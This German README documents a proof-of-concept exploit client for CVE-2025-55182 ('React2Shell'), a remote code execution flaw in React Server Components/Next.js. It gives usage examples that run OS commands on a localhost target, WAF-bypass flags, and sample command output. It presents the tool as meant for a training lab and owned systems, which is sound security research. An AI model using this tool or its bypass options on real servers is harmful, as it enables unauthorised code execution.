React2Shell Scanner – mit PoC

CVE-2025-55182 – React Server Components RCE PoC
Bildungs-Exploit-Client für das Hidden Investigations React2Shell-Labor.

Dieses Repository enthält ein Single-Host Proof-of-Concept (PoC) Exploit-Tool für die React2Shell-Sicherheitslücke (CVE-2025-55182), die sich gegen fehlkonfigurierte React Server Components / Next.js-Anwendungen richtet.

Es ist dafür ausgelegt, nur gegen das offizielle Hidden Investigations React2Shell-Labor oder Systeme, die Sie ausdrücklich besitzen / verwalten, eingesetzt zu werden.

⚠️ Rechtlicher und ethischer Haftungsausschluss

Dieses Projekt wird ausschließlich zu Bildungs- und defensiven Sicherheitsforschungszwecken bereitgestellt:

• Verwenden Sie dieses Tool nur auf:
  • Dem offiziellen Hidden Investigations React2Shell-Labor oder
  • Systemen, die Sie besitzen oder für die Sie explizite schriftliche Erlaubnis zum Testen haben.
• Richten Sie es nicht auf zufällige Websites, Produktionssysteme oder Infrastruktur, die Sie nicht kontrollieren.
• Die Autoren und Hidden Investigations übernehmen keine Verantwortung für Missbrauch oder Schäden.
• Durch die Nutzung dieses Tools stimmen Sie zu, alle geltenden Gesetze und Vorschriften einzuhalten.

Funktionen

• 🔥 React2Shell Exploit-Client für CVE-2025-55182
• 🎯 Einzelhost-fokussiert (kein Massen-Scanning)
• 📡 Unterstützung für benutzerdefinierte Pfade und Pfadlisten
• 🧪 Safe-Check-Modus (keine OS-Befehle, nur ein Erkennungstest)
• 🪟 Windows-freundlicher Modus (whoami als Standard)
• 🛡️ WAF-Bypass-Helfer:
  • Junk-Multipart-Feld (--waf-bypass, --waf-bypass-size)
  • Vercel-Layout-Anpassung (--vercel-waf-bypass)
• 🔐 TLS-Optionen (--insecure, benutzerdefinierte Header)
• 🧾 JSON-Ausgabe (-o/--output, --all-results)
• 🧘 Saubere Quiet-Mode-Ausgabe (perfekt zum Weiterleiten an andere Tools)

Voraussetzungen

• Python: 3.8+ (getestet mit Python 3.10+)
• Abhängigkeiten:
  • requests

Installieren Sie die Abhängigkeiten mit:

pip install -r requirements.txt

Installation

1. Klonen Sie das Hidden Investigations-Repository:

git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc

2. (Optional, aber empfohlen) Erstellen Sie eine virtuelle Umgebung:

python3 -m venv venv
source venv/bin/activate   # Unter Windows: venv\Scripts\activate

3. Installieren Sie die Anforderungen:

pip install -r requirements.txt

4. Führen Sie das Tool aus:

python3 react2shell-scanner.py -h

Verwendung

Grundlegende Hilfe:

python3 react2shell-scanner.py -h

Das Tool erfordert eine Ziel-URL:

python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# oder
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"

Wenn Sie es ohne -t/--target oder -u/--url ausführen, gibt es eine gebrandete Hilfemeldung aus und beendet sich.

Befehlszeilenoptionen

Ziel und Pfade

Hinweis: Dieser PoC ist nur für Einzelhosts. Die Option -l/--list ist vorhanden, aber absichtlich deaktiviert.

Exploit / Payload-Verhalten

HTTP / TLS-Optionen

Ausgabe / UX-Optionen

Beispiel für den Quiet-Modus (schöne, mehrzeilige Ausgabe):

python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"

Ausgabe:

total 12
drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
-rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
-rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js

Bulk-Scanning-Flags (absichtlich deaktiviert)

Die folgenden Flags existieren, um die CLI von Assetnote zu spiegeln, sind aber in diesem PoC nicht implementiert, um Missbrauch durch Massen-Scans zu vermeiden:

Wenn Sie -l/--list verwenden, gibt das Tool eine Warnung aus und beendet sich, und schlägt vor, den ursprünglichen react2shell-scanner von Assetnote für großflächiges sicheres Scannen zu verwenden.

Beispiele

Gegen lokales Labor ausführen:

python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"

WAF-Bypass mit einem größeren Junk-Feld verwenden:

python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"

Mehrere Pfade auf demselben Host:

python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"

Pfade aus Datei:

python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"

Safe-Check-Modus (keine OS-Befehle ausgeführt):

python3 react2shell-scanner.py -t http://localhost:3000 --safe-check

JSON-Ausgabe der Ergebnisse in Datei:

python3 react2shell-scanner.py -t http://localhost:3000   --path / --path /_next   -c "id"   -o results.json --all-results

JSON-Ausgabeformat

Wenn -o/--output verwendet wird, schreibt das Tool ein Array von Objekten wie:

[
  {
    "url": "http://localhost:3000/",
    "path": "/",
    "success": true,
    "status": "success",
    "output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
    "http": {
      "status_code": 302,
      "headers": {
        "X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
        "...": "..."
      }
    }
  }
]

Danksagungen & Anerkennungen

• Hidden Investigations – für die Veröffentlichung des React2Shell-Schulungslabors und des PoC-Clients.
• @sakibulalikhan – Tool-Autor.
• Assetnote – Inspiration für WAF-Bypass-Ideen durch ihren react2shell-scanner.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe LICENSE für Details.

📬 Kontaktieren Sie uns: [email protected]